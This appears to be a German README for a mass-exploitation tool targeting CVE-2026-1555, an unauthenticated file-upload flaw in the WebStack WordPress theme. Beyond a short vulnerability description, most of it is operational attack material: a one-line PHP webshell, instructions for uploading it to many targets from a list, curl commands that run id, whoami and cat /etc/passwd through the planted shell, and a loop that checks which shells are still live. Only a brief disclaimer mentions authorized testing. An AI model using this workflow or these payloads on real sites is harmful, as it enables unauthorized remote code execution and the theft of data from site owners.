
WebStack <= 1.2024 - Nicht authentifizierter beliebiger Datei-Upload
WebStack <= 1.2024 - Nicht authentifizierter Upload beliebiger Dateien
Nicht authentifizierte Remote-Codeausführung über den AJAX-Handler img_upload
Die Funktion io_img_upload(), die unter dem WordPress-admin-ajax.php-Action-Hook img_upload registriert ist, führt keinerlei Dateityp- oder Erweiterungsprüfung durch, bevor sie die hochgeladene Datei auf dem Server speichert. Da die Aktion ohne Authentifizierungsprüfungen registriert ist (wp_ajax_nopriv_), kann jeder nicht authentifizierte Remote-Angreifer eine beliebige Datei – einschließlich einer PHP-Webshell – per POST senden, und der Server speichert sie in einem öffentlich zugänglichen Pfad, was eine direkte Remote-Codeausführung ermöglicht.
Verwundbarer Endpunkt:
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txt gespeichertPython-Version: 3.8+
Abhängigkeiten installieren:
pip install requests rich urllib3
Erstellen Sie eine Datei mit dem Namen list.txt (oder einem beliebigen Namen Ihrer Wahl) mit einem Ziel pro Zeile:
https://target1.com
https://target2.com
http://target3.com
Ziele ohne
http://oderhttps://erhalten automatisch das Präfixhttp://.
Legen Sie Ihre Webshell im selben Verzeichnis wie das Skript ab. Beispiel:
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
Sie werden nach Folgendem gefragt:
Jeder erfolgreiche Upload gibt Folgendes aus:
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
Alle erfolgreichen Shell-URLs werden an die folgende Datei angehängt:
uploaded_paths.txt
Nach einem erfolgreichen Upload können Sie direkt über den Browser oder curl auf die Shell zugreifen:
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
Der genaue Upload-Pfad wird aus der JSON-Antwort des Servers (
data.src) extrahiert und automatisch ausgegeben.
Überprüfen Sie schnell alle hochgeladenen Shells aus der Ausgabedatei:
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
Am Ende jedes Laufs wird eine Zusammenfassung ausgegeben:
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Main exploit script
list.txt ← Target URLs (one per line)
shell.php ← Payload to upload
uploaded_paths.txt ← Auto-generated: successful shell URLs
Dieses Tool wird ausschließlich für autorisierte Penetrationstests, Sicherheitsforschung und Bildungszwecke bereitgestellt.
Der Autor — Nxploited — übernimmt keinerlei Verantwortung für Missbrauch, Schäden oder illegale Aktivitäten, die mit diesem Tool durchgeführt werden. Mit der Nutzung dieses Tools bestätigen Sie, dass Sie über die ausdrückliche schriftliche Erlaubnis verfügen, alle Zielsysteme zu testen.
Der unbefugte Einsatz gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und kann gemäß den geltenden Cybercrime-Gesetzen strafrechtlich verfolgt werden.
Nutzen Sie es verantwortungsvoll. Sie sind allein für Ihre Handlungen verantwortlich.
👤 Autor: Nxploited 📣 Kanal: Nxploited ZeroDay Hub 💬 Telegram: @KNxploited
| Feld | Detail |
|---|
| CVE-ID | CVE-2026-1555 |
| Betroffene Komponente | WebStack Theme für WordPress |
| Betroffene Versionen | Alle Versionen bis einschließlich 1.2024 |
| Schwachstellentyp | Upload beliebiger Dateien → Remote-Codeausführung |
| Erforderliche Authentifizierung | ❌ Keine (nicht authentifiziert) |
| CVSS-Score | 9.8 KRITISCH |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Eingabeaufforderung | Beschreibung | Standardwert |
|---|
Targets file | Pfad zu Ihrer Zielliste | list.txt |
Threads | Anzahl der gleichzeitigen Worker | 6 |
Local file to upload | Dateiname Ihres Payloads (im Skriptverzeichnis) | shell.php |